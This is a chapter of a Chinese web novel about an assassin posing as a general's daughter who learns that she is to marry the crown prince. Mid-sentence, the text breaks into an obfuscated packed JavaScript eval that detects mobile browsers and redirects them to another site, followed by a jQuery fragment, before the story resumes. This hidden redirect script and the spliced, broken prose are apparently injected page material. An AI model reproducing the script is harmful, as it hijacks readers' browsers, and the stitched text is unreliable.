锁秋等宋夫人吃完药膳及蜜枣,见吃完安然无恙没有任何不适之后,才安心离开了正院。
一回暖居阁,锁秋就愤然向汀竹诉说了方才路过沁香院遇到宋婉一事,“小姐,你是不知道二小姐她,她竟然吃了夫人的蜜枣。”
“完全不将夫人放在眼里,真的是气死奴婢了!”
汀竹正在坐在书案前,摊开了一张宣纸,听她这话忽然勾了一下嘴角,“无碍,给你的银瓶里的毒药,单独服下则会腹泻。”
“她也算是得不偿失。”
原来这毒药还有这用处,锁秋心里瞬间解气了不少。
“小姐,你好厉害啊。”
汀竹子笔架上挑了一只翠玉毛笔,毫不谦虚地说着,“那是自然。”
“锁秋帮我研磨。”汀竹又道。
锁秋应声而来,将砚台里倒了一点清水,又拿起书案上边的墨锭垂直杵着砚台里,混着水轻轻研磨了起来。
锁秋看了一眼她的左侧放着一张之前小姐所抄写经文的纸张,便问:“小姐,你是想练我家小姐的字迹吗?”
汀竹轻声回道:“正是如此。”
“锁秋将你家小姐之前所遇的事以及习性擅长的东西,全都告知我。”
锁秋边研磨边想着有关小姐的一切,继而缓缓开口,“小姐内敛喜静待人温和,经常去正房院照顾夫人,每月初九都会前去普清寺为夫人烧香祈福。”
“小姐绣工极佳,琴棋书画中游水准也是样样精通。平日里喜爱看书,还会为夫人特意研究一些小食。”
“就这些了。”
汀竹点了点头若有所思,她琴棋书画如今每日夜里与醉心楼的桃仙儿修习后,眼下技艺已渐趋纯熟,大抵不逊于师者所教。
烧香祈福这事?
多半不用了,就算不是因遇险一事,她也万不能前去普清寺。
普清寺距黑刃堂不远,一个前山,一个后山。万一出现什么差池,遇到黑刃堂的人发现“无常”还活着,那后果不堪设想。
研究小食倒不会,她只会研究毒药。
看书这个还好,她识字,识字是为了更好的完成任务,因此堂中管事教过每个新入堂的不识字的人。
只是绣工有点麻烦。
正想到这里,锁秋突然打断了她的思绪,言语上有一丝激动,“对了,我家小姐吃不得署豫,吃了会起红疹。”
汀竹想起了这事,也因为这事,让她活生生错过了一道美味的佳肴。
“记得,暂且先不说这事。”
“锁秋,你绣工如何?”
锁秋腼腆一笑,“自然是不及我家小姐。”随后又明白了她问这话的意思,便惊讶问道:“小姐你不会是想让奴婢教你刺绣吧!?”
“嗯。”锁秋照着宋韫的字迹,依葫芦画瓢仿了个六七分像,“倒要比一点不会好。”
“到时候如遇有人借绣工事来试探我,你便按之前所说的话应付就好。”
锁秋点点头,应道:“好。”
汀竹颖悟绝伦,从最初不会捏针到后面能绣个简单的花花草草,虽针法不如锁秋的细密均匀,倒也能看出一点绣工。
往后勤加练习这针法多半会超过锁秋。
汀竹绣了几个时辰,着实是有些枯燥乏味,便想着教教锁秋一些拳脚功夫。
锁秋看着院中摆着一个凳子,凳面又细又长,有些怀疑的看着身侧的小姐,轻声低语着,“小姐,你之前所问奴婢是否想成为绝世高手?就这个?”
汀竹颔首,“对,骑马式一个时辰。”又无意看了看院中其他的侍女侍从,便轻声问着她,“锁秋,院中这些人底细你可知道?”
锁秋随着她的话语将院中的人,细细看了一遍,思索了几秒,“小姐,这几个都是夫人挑给小姐,应该可信。”
“那就好办。”接着汀竹便将那几个下人打发至暖居阁后院让他们开辟一块土,她想种些可制药制毒的花草。
随后,前院只剩她们二人。
锁秋偏头一脸抗拒的看了眼脸上严肃认真的汀竹,又弱弱问道:“小姐,你认真的吗?这怎么……”
汀竹没有丝毫犹豫,了当的点了点头,“锁秋,这是成为高手的第一步。”
“为了你家小姐,我信你必不负所望。”
既然是为了小姐,那她必当全力以赴。锁秋咬着牙,硬着头皮往前去,“好。”
锁秋小心翼翼站了上去,还没一会腿脚开始发软,正个身子颤颤巍巍,额头也是冒着虚汗。
汀竹见了直摇头,太虚了。
便又道:“锁秋,你先在平地试试。”
“好……”锁秋长呼一口气,用着袖口擦了擦额前的虚汗,接着就想蹲下去再慢慢着地,不曾想腿麻了蹲不下去。
僵了许久也下不去,便想直起身子。下一秒,一整个往地下扑去,“啊!”一声大叫。
还好汀竹眼疾手快,几个步子上前,一把将锁秋揽在了怀里。
锁秋以为自己要摔个脸朝地,没想到却落入一个温暖的怀抱,一睁眼便看见汀竹那双漂亮的眸子,一下子回过了神。
“小姐……”
见锁秋稳了脚步,便松了揽着锁秋的手臂,见锁秋底子太弱,根本不适合习武,便打消了她最初的念头。
“算了,直接习最简单最有用的技能。”
于是,汀竹便教了锁秋躲避攻击、逃跑保命的技法。
本以为这一日便这般平淡过去,未料暮色将至时,宋将军却传召众人往正厅齐聚。
待府中众人尽数到齐,宋将军才开口道明缘由,语气中带着几分郑重:“三月之后,便是清禾与太子的大婚之期。”
他顿了顿,又道,“今日早朝,陛下已在朝堂之上亲口提及此事,还特意吩咐太医院一位有名的太医,明日便来府中为清禾诊治脸上的疤痕。”
话音落,他又宣了一道陛下旨意,“为让未来太子妃能更好地辅佐太子,陛下已下旨,特许清禾后日入宫中学堂──崇文轩,修习。”
这几道旨意,无疑是给了周姨娘母女当头一棒,直如坠入冰窟。
“父亲!太子殿下本就不喜姐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659332|188365||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姐,若非如此,早该在姐姐及笄之年便成婚了。”宋婉急得声音发颤,“陛下为何不肯收回成命?”
她满心不甘。
只因其宋韫是嫡女,自己便要处处矮上一头?明明父亲素来偏爱她与姨娘,可为何这般天大的好处,偏落进了宋韫手里。
“宋婉!休得胡言!”宋将军面色铁青,额角青筋隐现,满是怒意,“此乃陛下金口玉言,难不成你要我将军府抗旨不遵,落个满门抄斩的下场?”
“莲溪年幼,一时失言,老爷莫要动气。”周姨娘忙上前拉住宋婉,转而又对宋将军柔声道,“老爷,妾身斗胆一问,这崇文轩,莲溪……当真半分机会也无么?”
一旁的宋夫人终是开口,语气平静却带着不容置喙的分量,“妹妹,这崇文轩乃是皇家规制,非勋贵嫡女或公主近侍不得入内,你便莫要再为此事烦扰老爷了。”
周姨娘脸上的柔媚笑意瞬间褪去,取而代之的是掩不住的难堪,她垂首敛眸,“是……是妾身无知,冲撞了规矩,还望老爷、夫人莫怪。”
接着周姨娘眼底灵光一闪,似是骤然想起了什么,忙敛去方才的难堪,又换上那副柔婉模样,上前半步轻声道:“老爷,妾身前几日听府里下人闲谈,说那李大人府上的庶女,便是借着嫡姐的伴读身份,进崇文轩呢。”
她握着帕子的手微微收紧,语气里添了几分急切与期盼:“咱们莲溪若能跟着大小姐做伴读,不也能一同进去了?”
说罢,她抬眼望向宋将军,眼尾带着几分讨好的笑意,轻声追问:“老爷您看,这法子可行么?”
宋将军抬手捻着颌下长须,指节轻轻摩挲,沉吟片刻,眉头微舒,缓缓颔首:“你这话,倒也有几分道理,未尝不可。”
汀竹看着众人你一言我一言,她只在想如何能够在这三个月内找出真凶,然后早早跑路……
转念一想,她跑了宋夫人怎么办?
真是头疼,还是想想如何成不了婚吧。
最终宋婉以汀竹的伴读身份进了崇文轩。
回暖居阁前,汀竹特意扶着宋夫人先回了正院,借搀扶接触时,又悄悄探了探宋夫人的脉搏。似乎药膳以及她制的相克的毒药有点效果,脉搏倒是要比先前探的有力了不少。
“母亲,这两日可睡的安稳?”汀竹问道。
宋夫人脸上带着笑,温声着,“那常春藤确实是好东西,这两日睡着时总能闻见一股淡淡的清香,睡得安稳踏实多了,咳嗽都少了。”
“母亲,今早的药膳可还合胃口吗?”汀竹又问了药膳的事,话里带着几分刻意,“这药膳的方子,女儿特意去府外寻大夫开的,最能补气血。”
宋夫人握着她的手拍了拍,柔声道:“清禾有心了,药膳滋味很好,那配的蜜枣也是甜得很呢。”
走到离正房大门还有几步时,宋夫人叹了口气,特意嘱咐着她,“清禾,后日去了崇文轩,可要万般小心,宫里不比府中。”
“宫里规矩多,切勿得罪了宫中的任何人。”
汀竹点了点头,“母亲,女儿知道了。”